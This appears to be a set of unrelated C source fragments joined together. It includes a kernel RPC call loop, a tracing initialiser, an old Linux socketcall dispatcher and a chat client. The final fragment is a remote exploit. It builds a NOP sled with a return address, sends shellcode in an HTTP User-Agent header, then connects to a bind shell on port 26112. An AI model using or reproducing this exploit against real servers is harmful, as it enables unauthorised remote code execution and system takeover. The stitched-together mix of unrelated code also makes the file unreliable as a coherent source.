msg.msg_namelen = mbuf_len(nam); } error = sock_sendmbuf(so, &msg, m, 0, 0); if (error) { printf("krpc_call: sosend: %d\n", error); goto out; } m = NULL; /* Determine new timeout. */ if (timo < MAX_RESEND_DELAY) timo++; else printf("RPC timeout for server " IP_FORMAT "\n", IP_LIST(&(sin->sin_addr.s_addr))); /* * Wait for up to timo seconds for a reply. * The socket receive timeout was set to 1 second. */ secs = timo; while (secs > 0) { size_t readlen; if (m) { mbuf_freem(m); m = NULL; } if (sotype == SOCK_STREAM) { int maxretries = 60; struct iovec aio; aio.iov_base = &len; aio.iov_len = sizeof(u_int32_t); bzero(&msg, sizeof(msg)); msg.msg_iov = &aio; msg.msg_iovlen = 1; do { error = sock_receive(so, &msg, MSG_WAITALL, &readlen); if ((error == EWOULDBLOCK) && (--maxretries <= 0)) error = ETIMEDOUT; } while (error == EWOULDBLOCK); if (!error && readlen < aio.iov_len) { /* only log a message if we got a partial word */ if (readlen != 0) printf("short receive (%ld/%ld) from server " IP_FORMAT "\n", readlen, sizeof(u_int32_t), IP_LIST(&(sin->sin_addr.s_addr))); error = EPIPE; } if (error) goto out; len = ntohl(len) & ~0x80000000; /* * This is SERIOUS! We are out of sync with the sender * and forcing a disconnect/reconnect is all I can do. */ if (len > maxpacket) { printf("impossible packet length (%ld) from server " IP_FORMAT "\n", len, IP_LIST(&(sin->sin_addr.s_addr))); error = EFBIG; goto out; } do { readlen = len; error = sock_receivembuf(so, NULL, &m, MSG_WAITALL, &readlen); } while (error == EWOULDBLOCK); if (!error && (len > readlen)) { printf("short receive (%ld/%ld) from server " IP_FORMAT "\n", readlen, len, IP_LIST(&(sin->sin_addr.s_addr))); error = EPIPE; } } else { len = maxpacket; readlen = len; bzero(&msg, sizeof(msg)); msg.msg_name = from_p; msg.msg_namelen = (from_p == NULL) ? 0 : sizeof(*from_p); error = sock_receivembuf(so, &msg, &m, 0, &readlen); } if (error == EWOULDBLOCK) { secs--; continue; } if (error) goto out; len = readlen; /* Does the reply contain at least a header? */ if (len < MIN_REPLY_HDR) continue; if (mbuf_len(m) < MIN_REPLY_HDR) continue; reply = mbuf_data(m); /* Is it the right reply? */ if (reply->rp_direction != htonl(RPC_REPLY)) continue; if (reply->rp_xid != htonl(xid)) continue; /* Was RPC accepted? (authorization OK) */ if (reply->rp_astatus != 0) { error = ntohl(reply->rp_u.rpu_errno); printf("rpc denied, error=%d\n", error); /* convert rpc error to errno */ switch (error) { case RPC_MISMATCH: error = ERPCMISMATCH; break; case RPC_AUTHERR: error = EAUTH; break; } goto out; } if (mbuf_len(m) < REPLY_SIZE) { error = RPC_SYSTEM_ERR; } else { error = ntohl(reply->rp_u.rpu_ok.rp_rstatus); } /* Did the call succeed? */ if (error != 0) { printf("rpc status=%d\n", error); /* convert rpc error to errno */ switch (error) { case RPC_PROGUNAVAIL: error = EPROGUNAVAIL; break; case RPC_PROGMISMATCH: error = EPROGMISMATCH; break; case RPC_PROCUNAVAIL: error = EPROCUNAVAIL; break; case RPC_GARBAGE: error = EINVAL; break; case RPC_SYSTEM_ERR: error = EIO; break; } goto out; } goto gotreply; /* break two levels */ } /* while secs */ } /* forever send/receive */ error = ETIMEDOUT; goto out; gotreply: /* * Pull as much as we can into first mbuf, to make * result buffer contiguous. Note that if the entire * result won't fit into one mbuf, you're out of luck. * XXX - Should not rely on making the entire reply * contiguous (fix callers instead). -gwr */ #if DIAGNOSTIC if ((mbuf_flags(m) & MBUF_PKTHDR) == 0) panic("krpc_call: received pkt w/o header?"); #endif len = mbuf_pkthdr_len(m); if (sotype == SOCK_STREAM) len -= 4; /* the RPC record marker was read separately */ if (mbuf_len(m) < len) { if ((error = mbuf_pullup(&m, len))) goto out; reply = mbuf_data(m); } /* * Strip RPC header */ len = sizeof(*reply); if (reply->rp_u.rpu_ok.rp_auth.rp_atype != 0) { len += ntohl(reply->rp_u.rpu_ok.rp_auth.rp_alen); len = (len + 3) & ~3; /* XXX? */ } mbuf_adj(m, len); /* result */ *data = m; out: sock_close(so); out1: if (nam) mbuf_freem(nam); if (mhead) mbuf_freem(mhead); return error; }
void ANNOTATE_INIT(void) { #ifdef THREADS ThreadContext *pctx = malloc(sizeof(ThreadContext)); pthread_key_create(&ctx_key, free_ctx); pthread_setspecific(ctx_key, pctx); #else ThreadContext *pctx = &ctx; #endif /* prepare values for the header */ gather_header(); /* open the output file */ const char *dest; if ((dest = getenv("ANNOTATE_DEST")) == NULL) dest = BASEPATH"/trace"; if (!strncmp(dest, "tcp:", 4)) { char *p = strchr(dest+4, ':'); assert(p); int len = p-(dest+4); dest_host = malloc(len+1); memcpy(dest_host, dest+4, len); dest_host[len] = '\0'; dest_port = atoi(p+1); printf("connecting to \"%s\" %d\n", dest_host, dest_port); pctx->fd = sock_connect(dest_host, dest_port); if (pctx->fd == -1) exit(1); } else { char fn[256]; basepath = dest; sprintf(fn, "%s-%s-%d", basepath, hostname, getpid()); pctx->fd = open(fn, O_WRONLY|O_CREAT|O_TRUNC, 0644); if (pctx->fd == -1) { perror(fn); exit(1); } pctx->procfd = -1; pctx->idpos = 0; ID(pctx) = NULL; IDLEN(pctx) = 0; const char *lvl = getenv("ANNOTATE_LOG_LEVEL"); pctx->log_level = lvl ? atoi(lvl) : 255; } #if 0 /* performance test */ struct timeval tv1, tv2; int q; struct rusage ru; gettimeofday(&tv1, NULL); for (q=0; q<100000; q++) getrusage(RUSAGE_THREAD, &ru); gettimeofday(&tv2, NULL); printf("getrusage syscall: %ld\n", 1000000*(tv2.tv_sec - tv1.tv_sec) + tv2.tv_usec - tv1.tv_usec); gettimeofday(&tv1, NULL); for (q=0; q<100000; q++) proc_getrusage(RUSAGE_THREAD, &ru); gettimeofday(&tv2, NULL); printf("getrusage in proc: %ld\n", 1000000*(tv2.tv_sec - tv1.tv_sec) + tv2.tv_usec - tv1.tv_usec); #endif output_header(pctx->fd); /* depending on the kernel version, set rusage_who */ struct utsname ver; uname(&ver); char *p = strtok(ver.release, "."); int major = p ? atoi(p) : 0; p = strtok(NULL, "."); int minor = p ? atoi(p) : 0; p = strtok(NULL, "."); int micro = p ? atoi(p) : 0; // kernels <= 2.6.5 -> use RUSAGE_SELF // kernels > 2.6.5 that have been patched -> use RUSAGE_THREAD // stock kernels > 2.6.5 -> use USE_PROC if (major < 2) rusage_who = RUSAGE_SELF; else if (major > 2) rusage_who = RUSAGE_THREAD; else if (minor < 6) rusage_who = RUSAGE_SELF; else if (minor > 6) rusage_who = RUSAGE_THREAD; else if (micro <= 5) rusage_who = RUSAGE_SELF; else if (micro > 5) rusage_who = RUSAGE_THREAD; if (rusage_who == RUSAGE_THREAD) { struct rusage ru; if (getrusage(RUSAGE_THREAD, &ru) == -1) rusage_who = USE_PROC; } fprintf(stderr, "Kernel %d.%d.%d, rusage_who=%d\n", major, minor, micro, rusage_who); }
/* * System call vectors. Since I (RIB) want to rewrite sockets as streams, * we have this level of indirection. Not a lot of overhead, since more of * the work is done via read/write/select directly. */ asmlinkage int sys_socketcall(int call, unsigned long *args) { int er; switch(call) { case SYS_SOCKET: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_socket(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2))); case SYS_BIND: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_bind(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), get_fs_long(args+2))); case SYS_CONNECT: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_connect(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), get_fs_long(args+2))); case SYS_LISTEN: er=verify_area(VERIFY_READ, args, 2 * sizeof(long)); if(er) return er; return(sock_listen(get_fs_long(args+0), get_fs_long(args+1))); case SYS_ACCEPT: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_accept(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_GETSOCKNAME: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_getsockname(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_GETPEERNAME: er=verify_area(VERIFY_READ, args, 3 * sizeof(long)); if(er) return er; return(sock_getpeername(get_fs_long(args+0), (struct sockaddr *)get_fs_long(args+1), (int *)get_fs_long(args+2))); case SYS_SOCKETPAIR: er=verify_area(VERIFY_READ, args, 4 * sizeof(long)); if(er) return er; return(sock_socketpair(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (unsigned long *)get_fs_long(args+3))); case SYS_SEND: er=verify_area(VERIFY_READ, args, 4 * sizeof(unsigned long)); if(er) return er; return(sock_send(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3))); case SYS_SENDTO: er=verify_area(VERIFY_READ, args, 6 * sizeof(unsigned long)); if(er) return er; return(sock_sendto(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3), (struct sockaddr *)get_fs_long(args+4), get_fs_long(args+5))); case SYS_RECV: er=verify_area(VERIFY_READ, args, 4 * sizeof(unsigned long)); if(er) return er; return(sock_recv(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3))); case SYS_RECVFROM: er=verify_area(VERIFY_READ, args, 6 * sizeof(unsigned long)); if(er) return er; return(sock_recvfrom(get_fs_long(args+0), (void *)get_fs_long(args+1), get_fs_long(args+2), get_fs_long(args+3), (struct sockaddr *)get_fs_long(args+4), (int *)get_fs_long(args+5))); case SYS_SHUTDOWN: er=verify_area(VERIFY_READ, args, 2* sizeof(unsigned long)); if(er) return er; return(sock_shutdown(get_fs_long(args+0), get_fs_long(args+1))); case SYS_SETSOCKOPT: er=verify_area(VERIFY_READ, args, 5*sizeof(unsigned long)); if(er) return er; return(sock_setsockopt(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (char *)get_fs_long(args+3), get_fs_long(args+4))); case SYS_GETSOCKOPT: er=verify_area(VERIFY_READ, args, 5*sizeof(unsigned long)); if(er) return er; return(sock_getsockopt(get_fs_long(args+0), get_fs_long(args+1), get_fs_long(args+2), (char *)get_fs_long(args+3), (int *)get_fs_long(args+4))); default: return(-EINVAL); } }
int main(int argc, char **argv) { // parameters that are provided. char *srv = "127.0.0.1"; int port = DEFAULT_PORT; char *name = NULL; char *message = NULL; int c; while ((c = getopt(argc, argv, "s:" /* server hostname or ip */ "p:" /* port to connect to */ "n:" /* name of the message sender */ "m:" /* message to send */ "h" /* command usage */ )) != -1) { switch (c) { case 'p': port = atoi(optarg); assert(port > 0); break; case 's': srv = strdup(optarg); // this will allocate some memory, but we will not be clearing it. When the application exits, it will clear by default. assert(srv); break; case 'n': name = strdup(optarg); assert(name); break; case 'm': message = strdup(optarg); assert(message); break; case 'h': printf("Usage: ./risp_chat_send -s [server] -p [port] -n \"name of sender\" -m \"Message\"\n\n"); exit(1); break; default: fprintf(stderr, "Illegal argument \"%c\"\n", c); return 1; } } // set the signal trap. signal(SIGINT, sig_handler); // connect to the remote socket, and set it to non-blocking. assert(srv && port > 0); int handle = sock_connect(srv, port); if (handle <= 0) { printf("Unable to connect to %s:%d\n", srv, port); } else { // printf("Connected to server.\n"); // to simplify this process, we will join all the commands together. We will not wait for responses. int len = 0; // this var will have the length of each addition to the buffer. int buflen = 0; assert(message); int bufmax = 1024 + strlen(message); if (name) { bufmax += strlen(name); } char *buffer = malloc(bufmax); assert(buffer); // to authenticate, we simply must provide the proper HELLO string. char hello_str[] = "RISP Server"; len = risp_addbuf_str(buffer, CMD_HELLO, strlen(hello_str), hello_str); assert(len > 0); buflen += len; assert(buflen <= bufmax); // set the session in NO ECHO mode. len = risp_addbuf_noparam(buffer+buflen, CMD_NOECHO); assert(len > 0); buflen += len; assert(buflen <= bufmax); // set the session in NO FOLLW mode. len = risp_addbuf_noparam(buffer+buflen, CMD_NOFOLLOW); assert(len > 0); buflen += len; assert(buflen <= bufmax); // set the session in NO UPDATE mode. len = risp_addbuf_noparam(buffer+buflen, CMD_NOUPDATE); assert(len > 0); buflen += len; assert(buflen <= bufmax); // if we have a 'name' specified, then set that. if (name) { len = risp_addbuf_str(buffer+buflen, CMD_NAME, strlen(name), name); assert(len > 0); buflen += len; assert(buflen <= bufmax); } // now add the message assert(message); len = risp_addbuf_str(buffer+buflen, CMD_MESSAGE, strlen(message), message); assert(len > 0); buflen += len; assert(buflen <= bufmax); // and finally, tell the server to close the connection once it is finished. len = risp_addbuf_noparam(buffer+buflen, CMD_GOODBYE); assert(len > 0); buflen += len; assert(buflen <= bufmax); // printf("Sending %d bytes to server.\n", buflen); // now that the we have the RISP stream created for the command, we need to send it. if (sock_send(handle, buffer, buflen) != 0) { // couldn't send the command, close the handle, and exit. close(handle); handle = -1; } else { // now we simply process the socket until it closes. We dont actually care about processing the data received. while (recv(handle, buffer, bufmax, 0) != 0) { // printf("Waiting...\n"); } close(handle); } } return 0; }
int main(int argc,char *argv[]) { int port=D_PORT; char hostname[0x333]=D_HOST; int whlp,type=0; unsigned int i=0; char buf[BUFSIZE+1]; char buf2[BUFSIZE2+1]; char sendbuf[BUFSIZE3+1]; int sd; u_long retaddr=__pl_form[type].retaddr; (void)banrl(); while((whlp=getopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=EOF) { extern char *optarg; switch(whlp) { case 'T': case 't': if((type=atoi(optarg))<6) { retaddr=__pl_form[type].retaddr; } else (void)x_fp_rm_usage(argv[0]); break; case 'H': case 'h': memset((char *)hostname,0,sizeof(hostname)); strncpy(hostname,optarg,sizeof(hostname)-1); break; case 'P': case 'p': port=atoi(optarg); break; case 'I': case 'i': fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]); exit(-1); case '?': (void)x_fp_rm_usage(argv[0]); break; } } if(!strcmp(hostname,D_HOST)) { (void)x_fp_rm_usage(argv[0]); } { fprintf(stdout," [+] Hostname: %s\n",hostname); fprintf(stdout," [+] Port num: %d\n",port); fprintf(stdout," [+] Retaddr address: %p\n",retaddr); } fprintf(stdout," [1] #1 Set codes.\n"); memset(buf, 0x90, BUFSIZE); memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr)); memset(buf2,0x90,88); memcpy(buf2+88,shell, sizeof(shell)); snprintf(sendbuf,1024,"GET %s /HTTP/1.0\r\nUser-Agent: %s\r\n\r\n",buf,buf2); fprintf(stdout," [1] #1 Set socket.\n"); sd=sock_connect(hostname,port); fprintf(stdout," [1] #1 Send codes.\n"); write(sd,sendbuf,BUFSIZE3); close(sd); sleep(1); fprintf(stdout," [1] #3 Get shell.\n"); getshell(hostname,26112); exit(0); }